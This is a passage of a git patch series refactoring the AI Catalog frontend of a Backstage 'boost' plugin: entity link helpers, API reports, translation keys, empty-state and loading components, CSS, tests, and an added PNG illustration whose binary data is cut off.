(the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +import { parseEntityRef } from '@backstage/catalog-model'; +import type { Entity } from '@backstage/catalog-model'; + +function catalogHref(kind: string, namespace: string, name: string): string { + return `/catalog/${namespace}/${kind.toLowerCase()}/${name}`; +} + +export function entityHref(entity: Entity): string { + const namespace = entity.metadata.namespace ?? 'default'; + return catalogHref(entity.kind, namespace, entity.metadata.name); +} + +/** + * Builds a catalog entity page URL from an entity ref string (e.g. an + * owner value from `spec.owner`). Bare names default to a group in the + * default namespace, matching common Backstage conventions for owners. + */ +export function entityRefHref(ref: string): string | undefined { + try { + const { kind, namespace, name } = parseEntityRef(ref, { + defaultKind: 'group', + defaultNamespace: 'default', + }); + return catalogHref(kind, namespace, name); + } catch { + return undefined; + } +} diff --git a/workspaces/boost/plugins/boost/src/utils/usageActions.ts b/workspaces/boost/plugins/boost/src/utils/usageActions.ts index 342b5acd39b..d979c2427ab 100644 --- a/workspaces/boost/plugins/boost/src/utils/usageActions.ts +++ b/workspaces/boost/plugins/boost/src/utils/usageActions.ts @@ -16,7 +16,7 @@ import type { Entity } from '@backstage/catalog-model'; -import { getSpecRemotes } from './entityHelpers'; +import { getSpecRemotes } from './entityFields'; export type UsageAction = | { From f1e45ed1a1b365621ceae27fbc8447e3e512f9b0 Mon Sep 17 00:00:00 2001 From: Rohit Rai Date: Tue, 15 Sep 2026 21:35:38 +0530 Subject: [PATCH 13/16] refactor(boost): finalize AI Catalog frontend cleanup --- .../plugins/boost/report-translations.api.md | 61 +++++--------- workspaces/boost/plugins/boost/report.api.md | 29 +++---- .../CatalogResults/CatalogEmptyState.tsx | 69 ++++++++++++---- .../CatalogResults/CatalogLoadingState.tsx | 7 +- .../CatalogResults/CatalogResults.module.css | 54 +++++++++++- .../catalog/CatalogResults/CatalogResults.tsx | 30 +------ .../CatalogResults/EmptyFilteredState.tsx | 2 +- .../src/components/catalog/CatalogToolbar.tsx | 3 +- .../AssetDetails/AssetDetailsCard.test.tsx | 33 +++++++- .../entity/AssetDetails/AssetDetailsCard.tsx | 3 +- .../AssetDetails/AvailableModelsDialog.tsx | 4 - .../AssetDetails/HandoffTargets.test.tsx | 4 +- .../AssetDetails/assetDetailsData.test.ts | 4 +- .../entity/AssetDetails/assetDetailsData.ts | 49 ++++------- .../plugins/boost/src/hooks/useUrlFilters.ts | 10 +-- .../src/images/empty-state-illustration.png | Bin 0 -> 59978 bytes workspaces/boost/plugins/boost/src/index.ts | 8 +- .../plugins/boost/src/nfsExports.test.ts | 26 ++++++ .../boost/src/pages/AiCatalogPage.module.css | 26 ------ .../boost/src/pages/AiCatalogPage.test.tsx | 25 +++++- .../plugins/boost/src/pages/AiCatalogPage.tsx | 77 +++++++++++------- workspaces/boost/plugins/boost/src/plugin.tsx | 16 +--- .../plugins/boost/src/translations/index.ts | 13 ++- .../plugins/boost/src/translations/ref.ts | 3 +- 24 files changed, 323 insertions(+), 233 deletions(-) create mode 100644 workspaces/boost/plugins/boost/src/images/empty-state-illustration.png create mode 100644 workspaces/boost/plugins/boost/src/nfsExports.test.ts diff --git a/workspaces/boost/plugins/boost/report-translations.api.md b/workspaces/boost/plugins/boost/report-translations.api.md index ef1d860d9ff..fd640931d44 100644 --- a/workspaces/boost/plugins/boost/report-translations.api.md +++ b/workspaces/boost/plugins/boost/report-translations.api.md @@ -3,58 +3,35 @@ > Do not edit this file. It is a report generated by [API Extractor](https://api-extractor.com/). ```ts -import { ExtensionDataRef } from '@backstage/frontend-plugin-api'; -import { OverridableExtensionDefinition } from '@backstage/frontend-plugin-api'; -import { TranslationMessages } from '@backstage/frontend-plugin-api'; +import { FrontendModule } from '@backstage/frontend-plugin-api'; import { TranslationRef } from '@backstage/frontend-plugin-api'; import { TranslationResource } from '@backstage/frontend-plugin-api'; -// @public -const boostTranslation: OverridableExtensionDefinition<{ - kind: 'translation'; - name: undefined; - config: {}; - configInput: {}; - output: ExtensionDataRef< - | TranslationResource - | TranslationMessages< - string, - { - [x: string]: string; - }, - boolean - >, - 'core.translation.translation', - {} - >; - inputs: {}; - params: { - resource: TranslationResource | TranslationMessages; - }; -}>; -export default boostTranslation; - // @public export const boostTranslationRef: TranslationRef< 'plugin.boost', { readonly 'nav.aiCatalog': string; - readonly 'catalog.table.name': string; - readonly 'catalog.table.type': string; - readonly 'catalog.table.provider': string; - readonly 'catalog.table.owner': string; - readonly 'catalog.table.description': string; - readonly 'catalog.filter.title': string; - readonly 'catalog.filter.all': string; readonly 'catalog.filter.type': string; - readonly 'catalog.filter.provider': string; - readonly 'catalog.filter.owner': string; + readonly 'catalog.filter.all': string; + readonly 'catalog.filter.title': string; readonly 'catalog.filter.tag': string; + readonly 'catalog.filter.owner': string; + readonly 'catalog.filter.provider': string; readonly 'catalog.filter.clearAll': string; - readonly 'catalog.page.title': string; readonly 'catalog.error.title': string; readonly 'catalog.error.description': string; readonly 'catalog.error.retry': string; + readonly 'catalog.page.title': string; + readonly 'catalog.table.name': string; + readonly 'catalog.table.type': string; + readonly 'catalog.table.description': string; + readonly 'catalog.table.owner': string; + readonly 'catalog.table.provider': string; + readonly 'catalog.empty.title': string; + readonly 'catalog.empty.description': string; + readonly 'catalog.empty.refresh': string; + readonly 'catalog.empty.learnMore': string; readonly 'catalog.toolbar.search': string; readonly 'catalog.toolbar.filters': string; readonly 'catalog.toolbar.allPrefix': string; @@ -92,9 +69,6 @@ export const boostTranslationRef: TranslationRef< readonly 'catalog.card.handoffDescriptionTitle': string; readonly 'catalog.card.handoffTargetsTitle': string; readonly 'catalog.card.ragEnabledLabel': string; - readonly 'catalog.empty.title': string; - readonly 'catalog.empty.description': string; - readonly 'catalog.empty.learnMore': string; readonly 'catalog.emptyFiltered.title': string; readonly 'catalog.emptyFiltered.description': string; readonly 'catalog.emptyFiltered.clearFilters': string; @@ -104,5 +78,10 @@ export const boostTranslationRef: TranslationRef< // @public export const boostTranslations: TranslationResource<'plugin.boost'>; +// @public +const boostTranslationsModule: FrontendModule; +export { boostTranslationsModule }; +export default boostTranslationsModule; + // (No @packageDocumentation comment for this package) ``` diff --git a/workspaces/boost/plugins/boost/report.api.md b/workspaces/boost/plugins/boost/report.api.md index 840bce76d21..a1aeedec1d5 100644 --- a/workspaces/boost/plugins/boost/report.api.md +++ b/workspaces/boost/plugins/boost/report.api.md @@ -5,7 +5,7 @@ ```ts import { AnyRouteRefParams } from '@backstage/frontend-plugin-api'; import { ConfigurableExtensionDataRef } from '@backstage/frontend-plugin-api'; -import type { Entity } from '@backstage/catalog-model'; +import { Entity } from '@backstage/catalog-model'; import { EntityCardType } from '@backstage/plugin-catalog-react/alpha'; import { ExtensionBlueprint } from '@backstage/frontend-plugin-api'; import { ExtensionDataRef } from '@backstage/frontend-plugin-api'; @@ -283,6 +283,7 @@ const boostPlugin: OverridableFrontendPlugin< title?: string | undefined | undefined; }; output: + | ExtensionDataRef | ExtensionDataRef | ExtensionDataRef< RouteRef, @@ -291,7 +292,6 @@ const boostPlugin: OverridableFrontendPlugin< optional: true; } > - | ExtensionDataRef | ExtensionDataRef< string, 'core.title', @@ -370,22 +370,26 @@ export const boostTranslationRef: TranslationRef< 'plugin.boost', { readonly 'nav.aiCatalog': string; - readonly 'catalog.table.name': string; - readonly 'catalog.table.type': string; - readonly 'catalog.table.owner': string; - readonly 'catalog.table.provider': string; - readonly 'catalog.table.description': string; - readonly 'catalog.filter.title': string; - readonly 'catalog.filter.all': string; readonly 'catalog.filter.type': string; + readonly 'catalog.filter.all': string; + readonly 'catalog.filter.title': string; + readonly 'catalog.filter.tag': string; readonly 'catalog.filter.owner': string; readonly 'catalog.filter.provider': string; - readonly 'catalog.filter.tag': string; readonly 'catalog.filter.clearAll': string; - readonly 'catalog.page.title': string; readonly 'catalog.error.title': string; readonly 'catalog.error.description': string; readonly 'catalog.error.retry': string; + readonly 'catalog.page.title': string; + readonly 'catalog.table.name': string; + readonly 'catalog.table.type': string; + readonly 'catalog.table.description': string; + readonly 'catalog.table.owner': string; + readonly 'catalog.table.provider': string; + readonly 'catalog.empty.title': string; + readonly 'catalog.empty.description': string; + readonly 'catalog.empty.refresh': string; + readonly 'catalog.empty.learnMore': string; readonly 'catalog.toolbar.search': string; readonly 'catalog.toolbar.filters': string; readonly 'catalog.toolbar.allPrefix': string; @@ -423,9 +427,6 @@ export const boostTranslationRef: TranslationRef< readonly 'catalog.card.handoffDescriptionTitle': string; readonly 'catalog.card.handoffTargetsTitle': string; readonly 'catalog.card.ragEnabledLabel': string; - readonly 'catalog.empty.title': string; - readonly 'catalog.empty.description': string; - readonly 'catalog.empty.learnMore': string; readonly 'catalog.emptyFiltered.title': string; readonly 'catalog.emptyFiltered.description': string; readonly 'catalog.emptyFiltered.clearFilters': string; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/CatalogEmptyState.tsx b/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/CatalogEmptyState.tsx index f8c2525dd92..8b3d48503e2 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/CatalogEmptyState.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/CatalogEmptyState.tsx @@ -14,33 +14,68 @@ * limitations under the License. */ -import { ButtonLink, Flex, Text } from '@backstage/ui'; +import { Button, ButtonLink, Flex, Text } from '@backstage/ui'; +import { RiExternalLinkLine, RiRefreshLine } from '@remixicon/react'; import { useTranslation } from '../../../hooks/useTranslation'; +import emptyStateIllustration from '../../../images/empty-state-illustration.png'; import styles from './CatalogResults.module.css'; -export const CatalogEmptyState = () => { +interface CatalogEmptyStateProps { + readonly onRefresh: () => void; +} + +export const CatalogEmptyState = ({ onRefresh }: CatalogEmptyStateProps) => { const { t } = useTranslation(); return ( - {t('catalog.empty.title')} - - {t('catalog.empty.description')} - - - {t('catalog.empty.learnMore')} - + {t('catalog.empty.title')} + + {t('catalog.empty.description')} + + + } + > + {t('catalog.empty.learnMore')} + + + + +
); }; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/CatalogLoadingState.tsx b/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/CatalogLoadingState.tsx index 730403f90fa..ea082d14d9a 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/CatalogLoadingState.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/CatalogLoadingState.tsx @@ -16,7 +16,6 @@ import { Flex, Skeleton } from '@backstage/ui'; -import layoutStyles from '../../../pages/AiCatalogPage.module.css'; import styles from './CatalogResults.module.css'; const SkeletonCard = () => ( @@ -48,7 +47,7 @@ export const CatalogLoadingState = ({ filterCount, cardCount, }: CatalogLoadingStateProps) => ( -
+ <>
{Array.from({ length: filterCount }, (_, i) => (
@@ -61,7 +60,7 @@ export const CatalogLoadingState = ({
))}
-
+
@@ -72,5 +71,5 @@ export const CatalogLoadingState = ({ ))}
-
+ ); diff --git a/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/CatalogResults.module.css b/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/CatalogResults.module.css index b02e3059099..827ba141702 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/CatalogResults.module.css +++ b/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/CatalogResults.module.css @@ -15,8 +15,60 @@ */ @layer components { + .resultsSurface { + display: flex; + flex: 1; + flex-direction: column; + min-width: 0; + width: 100%; + min-height: 0; + overflow: hidden; + border: 1px solid var(--bui-border-1); + border-radius: var(--bui-radius-4); + } + + .resultsBody { + flex: 1; + min-width: 0; + min-height: 0; + overflow: auto; + padding: var(--bui-space-4); + } + + .pagination { + flex-shrink: 0; + padding: var(--bui-space-3) var(--bui-space-4); + border-top: 1px solid var(--bui-border-1); + } + .emptyState { - min-height: 420px; + flex: 1; + min-width: 0; + min-height: 0; + } + + .emptyStateContent { + width: 100%; + max-width: 520px; + min-width: 0; + } + + .emptyStateDescription { + max-width: 52ch; + } + + .emptyStateActions { + flex-wrap: wrap; + } + + .refreshButton { + border: 1px solid var(--bui-border-1); + } + + .emptyStateIllustration { + display: block; + width: min(100%, 420px); + height: auto; } .errorState { diff --git a/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/CatalogResults.tsx b/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/CatalogResults.tsx index ca8d3da69ec..dea94456908 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/CatalogResults.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/CatalogResults.tsx @@ -19,20 +19,12 @@ import { Grid, Flex, TablePagination, type SortState } from '@backstage/ui'; import { AiAssetCard } from '../AiAssetCard'; import { AiCatalogTable } from '../AiCatalogTable'; -import { CatalogToolbar, type CatalogViewMode } from '../CatalogToolbar'; +import { CatalogToolbar } from '../CatalogToolbar'; import { EmptyFilteredState } from './EmptyFilteredState'; -import { CatalogEmptyState } from './CatalogEmptyState'; -import { CatalogErrorState } from './CatalogErrorState'; -import { CatalogLoadingState } from './CatalogLoadingState'; -import styles from '../../../pages/AiCatalogPage.module.css'; +import type { CatalogViewMode } from '../../../hooks/useUrlFilters'; +import styles from './CatalogResults.module.css'; interface CatalogResultsProps { - readonly loading: boolean; - readonly error: Error | undefined; - readonly retry: () => void; - readonly filtersCount: number; - readonly cardCount: number; - readonly allEntitiesCount: number; readonly hasActiveFilters: boolean; readonly entities: Entity[]; readonly pageEntities: Entity[]; @@ -52,12 +44,6 @@ interface CatalogResultsProps { } export const CatalogResults = ({ - loading, - error, - retry, - filtersCount, - cardCount, - allEntitiesCount, hasActiveFilters, entities, pageEntities, @@ -75,16 +61,6 @@ export const CatalogResults = ({ onPreviousPage, onPageSizeChange, }: CatalogResultsProps) => { - if (loading) { - return ( - - ); - } - - if (error) return ; - - if (allEntitiesCount === 0 && !hasActiveFilters) return ; - const totalCount = entities.length; return ( diff --git a/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/EmptyFilteredState.tsx b/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/EmptyFilteredState.tsx index f340c2076a6..ee94304244a 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/EmptyFilteredState.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/CatalogResults/EmptyFilteredState.tsx @@ -21,7 +21,7 @@ import { useTranslation } from '../../../hooks/useTranslation'; export const EmptyFilteredState = ({ onClearFilters, }: { - onClearFilters: () => void; + readonly onClearFilters: () => void; }) => { const { t } = useTranslation(); return ( diff --git a/workspaces/boost/plugins/boost/src/components/catalog/CatalogToolbar.tsx b/workspaces/boost/plugins/boost/src/components/catalog/CatalogToolbar.tsx index 4026b558433..da3267b84a1 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/CatalogToolbar.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/CatalogToolbar.tsx @@ -24,11 +24,10 @@ import { } from '@backstage/ui'; import { RiGridLine, RiListUnordered } from '@remixicon/react'; +import type { CatalogViewMode } from '../../hooks/useUrlFilters'; import { useTranslation } from '../../hooks/useTranslation'; import styles from './CatalogToolbar.module.css'; -export type CatalogViewMode = 'grid' | 'table'; - interface CatalogToolbarProps { readonly totalCount: number; readonly hasActiveFilters: boolean; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AssetDetailsCard.test.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AssetDetailsCard.test.tsx index 0029328c161..15b16c9affc 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AssetDetailsCard.test.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AssetDetailsCard.test.tsx @@ -22,12 +22,21 @@ import { fireEvent, screen } from '@testing-library/react'; import { boostMessages } from '../../../../translations/ref'; import { AssetDetailsCard } from './AssetDetailsCard'; +const mockHandoffTargets = jest.fn(({ refs }: { readonly refs: string[] }) => ( + {refs.join(',')} +)); + +jest.mock('./HandoffTargets', () => ({ + HandoffTargets: (props: { readonly refs: string[] }) => + mockHandoffTargets(props), +})); + jest.mock('@backstage/plugin-catalog-react', () => { const actual = jest.requireActual('@backstage/plugin-catalog-react'); return { ...actual, - EntityRefLinks: ({ entityRefs }: { entityRefs: string[] }) => ( + EntityRefLinks: ({ entityRefs }: { readonly entityRefs: string[] }) => ( <> {entityRefs.map(entityRef => ( @@ -344,4 +353,26 @@ describe('AssetDetailsCard', () => { expect(description.querySelector('strong')).toBeNull(); expect(description.querySelector('code')).toBeNull(); }); + + it('keeps handoff references stable while the entity is unchanged', async () => { + const entity = { + ...agentEntity, + spec: { + ...agentEntity.spec, + handoffs: ['airesource:default/support'], + }, + }; + mockHandoffTargets.mockClear(); + + const view = await renderWithEntity(entity); + const firstRefs = mockHandoffTargets.mock.calls[0][0].refs; + + view.rerender( + + + , + ); + + expect(mockHandoffTargets.mock.calls.at(-1)?.[0].refs).toBe(firstRefs); + }); }); diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AssetDetailsCard.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AssetDetailsCard.tsx index 2b64194093f..85d1753619d 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AssetDetailsCard.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AssetDetailsCard.tsx @@ -14,6 +14,7 @@ * limitations under the License. */ +import { useMemo } from 'react'; import { useEntity } from '@backstage/plugin-catalog-react'; import { Badge, Card, CardBody, CardHeader, Flex, Text } from '@backstage/ui'; @@ -54,7 +55,7 @@ const TypeDetails = ({ export const AssetDetailsCard = () => { const { entity } = useEntity(); const { t } = useTranslation(); - const data = getAssetDetailsData(entity); + const data = useMemo(() => getAssetDetailsData(entity), [entity]); if (!hasAssetDetails(data)) return null; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AvailableModelsDialog.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AvailableModelsDialog.tsx index 76ae410c055..5386fbe9991 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AvailableModelsDialog.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/AvailableModelsDialog.tsx @@ -44,10 +44,6 @@ function renderModelCell(row: ModelRow) { return ; } -function renderModelCell(row: ModelRow) { - return ; -} - export const AvailableModelsDialog = ({ models, }: AvailableModelsDialogProps) => { diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/HandoffTargets.test.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/HandoffTargets.test.tsx index 19c7b7be69b..971d79244f3 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/HandoffTargets.test.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/HandoffTargets.test.tsx @@ -33,8 +33,8 @@ jest.mock('@backstage/plugin-catalog-react', () => { entityRef, children, }: { - entityRef: Entity | string; - children?: ReactNode; + readonly entityRef: Entity | string; + readonly children?: ReactNode; }) => ( {children ?? diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/assetDetailsData.test.ts b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/assetDetailsData.test.ts index 77a607e3997..bfe93e184c6 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/assetDetailsData.test.ts +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/assetDetailsData.test.ts @@ -94,7 +94,9 @@ describe('getAssetDetailsData', () => { }); it('reports whether a card has displayable content', () => { - expect(hasAssetDetails(getAssetDetailsData(baseEntity))).toBe(false); + const emptyData = getAssetDetailsData(baseEntity); + expect(emptyData.typeDetails).toBeUndefined(); + expect(hasAssetDetails(emptyData)).toBe(false); expect( hasAssetDetails( getAssetDetailsData({ diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/assetDetailsData.ts b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/assetDetailsData.ts index d0f91a0544b..7302f02cfe2 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/assetDetailsData.ts +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetails/assetDetailsData.ts @@ -93,6 +93,13 @@ export interface AssetDetailsData { readonly typeDetails?: AssetTypeDetailsData; } +function hasDisplayableTypeDetails(details: AssetTypeDetailsData): boolean { + return Object.entries(details).some(([key, value]) => { + if (key === 'type' || value === undefined || value === '') return false; + return !Array.isArray(value) || value.length > 0; + }); +} + export function getAssetDetailsData(entity: Entity): AssetDetailsData { const type = getSpecField(entity, 'type')?.toLowerCase(); let typeDetails: AssetTypeDetailsData | undefined; @@ -144,43 +151,15 @@ export function getAssetDetailsData(entity: Entity): AssetDetailsData { description: entity.metadata.description?.trim() || undefined, rationale: getDistinctSpecField(entity, 'rationale'), version: entity.metadata.annotations?.['rhdh.io/ai-asset-version'], - typeDetails, + typeDetails: + typeDetails && hasDisplayableTypeDetails(typeDetails) + ? typeDetails + : undefined, }; } export function hasAssetDetails(data: AssetDetailsData): boolean { - const details = data.typeDetails; - if (data.description || data.rationale || data.version) return true; - if (!details) return false; - - switch (details.type) { - case 'agent': - return Boolean( - details.model || - details.modelsAvailable.length || - details.handoffDescription || - details.handoffRefs.length || - details.enableRAG !== undefined || - details.tools.length, - ); - case 'ai-model-server': - return Boolean( - details.serverType || - details.defaultModel || - details.requiresApiKey !== undefined || - details.modelsAvailable.length, - ); - case 'mcp-server': - return Boolean(details.remotes.length || details.definition); - case 'skill': - return Boolean( - details.disciplines.length || - details.categories.length || - details.agents.length, - ); - case 'rule': - return Boolean(details.category); - default: - return false; - } + return Boolean( + data.description || data.rationale || data.version || data.typeDetails, + ); } diff --git a/workspaces/boost/plugins/boost/src/hooks/useUrlFilters.ts b/workspaces/boost/plugins/boost/src/hooks/useUrlFilters.ts index 5b97963c95f..8a483e2b3e2 100644 --- a/workspaces/boost/plugins/boost/src/hooks/useUrlFilters.ts +++ b/workspaces/boost/plugins/boost/src/hooks/useUrlFilters.ts @@ -17,13 +17,13 @@ import { useCallback, useEffect, useMemo, useRef, useState } from 'react'; import { useSearchParams } from 'react-router-dom'; -export type ViewMode = 'grid' | 'table'; +export type CatalogViewMode = 'grid' | 'table'; export interface UrlFilterState { search: string; searchInputValue: string; filterValues: Map; - viewMode: ViewMode; + viewMode: CatalogViewMode; page: number; pageSize: number; } @@ -31,7 +31,7 @@ export interface UrlFilterState { export interface UrlFilterActions { setSearch: (value: string) => void; setFilter: (urlParam: string, values: string[]) => void; - setViewMode: (mode: ViewMode) => void; + setViewMode: (mode: CatalogViewMode) => void; setPage: (page: number, options?: { replace?: boolean }) => void; setPageSize: (size: number) => void; clearFilters: () => void; @@ -89,7 +89,7 @@ export function useUrlFilters( const rawSearch = searchParams.get('q') ?? ''; const rawView = searchParams.get('view'); - const viewMode: ViewMode = rawView === 'table' ? 'table' : 'grid'; + const viewMode: CatalogViewMode = rawView === 'table' ? 'table' : 'grid'; const rawPage = searchParams.get('page'); const parsedPage = parseNonNegativeInteger(rawPage); const page = parsedPage ?? 0; @@ -182,7 +182,7 @@ export function useUrlFilters( ); const setViewMode = useCallback( - (mode: ViewMode) => { + (mode: CatalogViewMode) => { setSearchParams(prev => { const next = new URLSearchParams(prev); if (mode === 'grid') { diff --git a/workspaces/boost/plugins/boost/src/images/empty-state-illustration.png b/workspaces/boost/plugins/boost/src/images/empty-state-illustration.png new file mode 100644 index 0000000000000000000000000000000000000000..6499074123900c12ae73c52239ca8b2ba0583e64 GIT binary patch literal 59978 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 